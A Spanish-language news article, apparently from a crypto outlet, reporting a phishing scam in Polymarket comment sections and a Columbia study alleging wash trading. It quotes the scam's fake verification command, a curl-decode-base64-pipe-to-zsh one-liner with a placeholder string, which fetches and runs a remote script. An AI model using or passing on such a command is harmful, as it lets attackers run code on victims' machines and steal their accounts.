Enlaces de phishing en los mercados privados de Polymarket: Los usuarios alertan

Polymarket está de nuevo en las noticias, esta vez porque uno de sus traders senior con el seudónimo “25usdc” sonó la alarma sobre un esquema que utiliza la sección de comentarios de la plataforma para atacar a usuarios desprevenidos. 

Esto está ocurriendo en un momento crucial para la plataforma Polymarket, ya que se está preparando para reingresar al mercado de EE. UU. y lucha por adelantarse a rivales como Kalshi. 

Los traders de Polymarket están en máxima alerta 

Según 25usdc, los hackers han estado utilizando la sección de comentarios de Polymarket para ejecutar un fraude, y hasta la fecha, los usuarios han perdido más de $500,000.

“Dicen: ‘¿Por qué no operas en los mercados privados de Polymarket? ¡Las probabilidades siempre son mucho mejores allí!’” escribió 25usdc, antes de explicar cómo funciona todo el fraude. 

Según él, todo comienza con la compra de acciones de Sí y No para un mercado desde dos cuentas separadas. De esta manera, sus comentarios siguen estando allí incluso cuando se activa el filtro de “Holders”. Después de eso, publican una URL a su sitio en una forma ofuscada.

La URL lleva al desprevenido usuario a una página de aspecto limpio con el logotipo de Polymarket y solicita el inicio de sesión de los usuarios mediante correo electrónico. Una vez verificado el correo electrónico, aparece una nueva ventana que pide al usuario verificar su actividad, imitando a CloudFlare. 

Sin embargo, 25usdc dice que cuando haces clic en “Copiar”, se copia un comando que se parece a algo como esto “curl -kfsSL $(echo ‘ENCODED_STRING==’|base64 -d)|zsh” y lo primero que hace, si el usuario comete el error de pegarlo en su terminal, es decodificar la cadena codificada en base64 (una URL del servidor), después de lo cual obtiene un script de ese servidor y lo ejecuta inmediatamente. 

El script en cuestión puede contener cualquier cosa, y según se informa, no habrá ninguna ventana emergente de advertencia, momento en el que el daño ya está hecho, y el único remedio, según 25usdc, podría ser apagar el Wi-Fi. 

“Al final, recopilan datos, registran todo en tu sistema y envían un archivo zip de vuelta a su servidor”, escribió 25usdc. “Luego usan estos datos para iniciar sesión en tus cuentas y robar tu dinero.”

Otras cosas que notó fueron lo cuidadosamente que opera el grupo; por ejemplo, cubren sus rastros cambiando de billeteras a menudo, ofuscando en cada paso del camino e incluso apagan el servidor que envía cargas útiles y recibe datos registrados cuando no hay víctimas activas.

“Creo que la mejor manera de abordar esto es permitir que los usuarios de confianza revisen los comentarios o introducir un sistema de votos negativos que oculte las publicaciones muy criticadas”, concluyó 25usdc, señalando que el simple advertindo Polymarket actualmente mostrará no será suficiente. 

AVISO: No existe un sitio web de “mercado privado” de Polymarket con “mejores probabilidades”

Nunca ingreses tu correo electrónico de Polymarket o tu código de verificación de inicio de sesión en nada que no sea nuestro sitio oficial.

— Polymarket Traders (@PolymarketTrade) 9 de noviembre de 2025

Un nuevo estudio afirma que el volumen de Polymarket está respaldado por operaciones ficticias

Como Cryptopolitan informó, un estudio publicado recientemente por investigadores de la Universidad de Columbia afirma que el volumen de actividad en Polymarket ha sido significativamente inflado por operaciones ficticias. 

El “comercio artificial”, como lo denominaron los autores, varió con el tiempo, pero dicen que representó un promedio del 25% de todas las compras y ventas en Polymarket durante los últimos tres años. 

El documento no ha sido revisado por pares, pero ya está disponible en la plataforma de investigación de acceso abierto SSRN y está siendo revisado por Polymarket. 

Para ser claros, los autores no acusan directamente Polymarket a sí misma por el comercio ficticio. Sin embargo, han destacado elementos de la estructura basada en criptomonedas del intercambio que hacen que la afirmación sea plausible.  

También han sugerido que los clientes de la empresa pueden haber participado independientemente en dicho comercio ficticio en un intento por mejorar sus posibilidades de obtener acceso a un token digital propietario que el fundador de la empresa, Shayne Coplan, ha insinuado la posibilidad de lanzar tan recientemente como el 8 de octubre. 

“Espero que Polymarket dé la bienvenida al análisis de nuestro artículo”, dijo Yash Kanoria, profesor de la escuela de negocios de la Universidad de Columbia y uno de los cuatro coautores del documento, en un correo electrónico. “El comercio ficticio no añade liquidez ni información al mercado, por lo que parecería valioso distinguir el volumen auténtico del inauténtico.”

Si parte del volumen de Polymarket es realmente “ficticio”, el estudio afirma que podría alterar la comprensión de la fuerza relativa de Polymarket en la industria y también socavar la noción actual de que los mercados de predicción reflejan la “sabiduría de una multitud más grande.”

“El potencial de comercio ficticio a gran escala significa que el volumen puede no ser confiable como métrica de actividad auténtica de la plataforma, especialmente en intercambios basados en criptomonedas que pueden no tener salvaguardas adecuadas”, concluyeron los autores.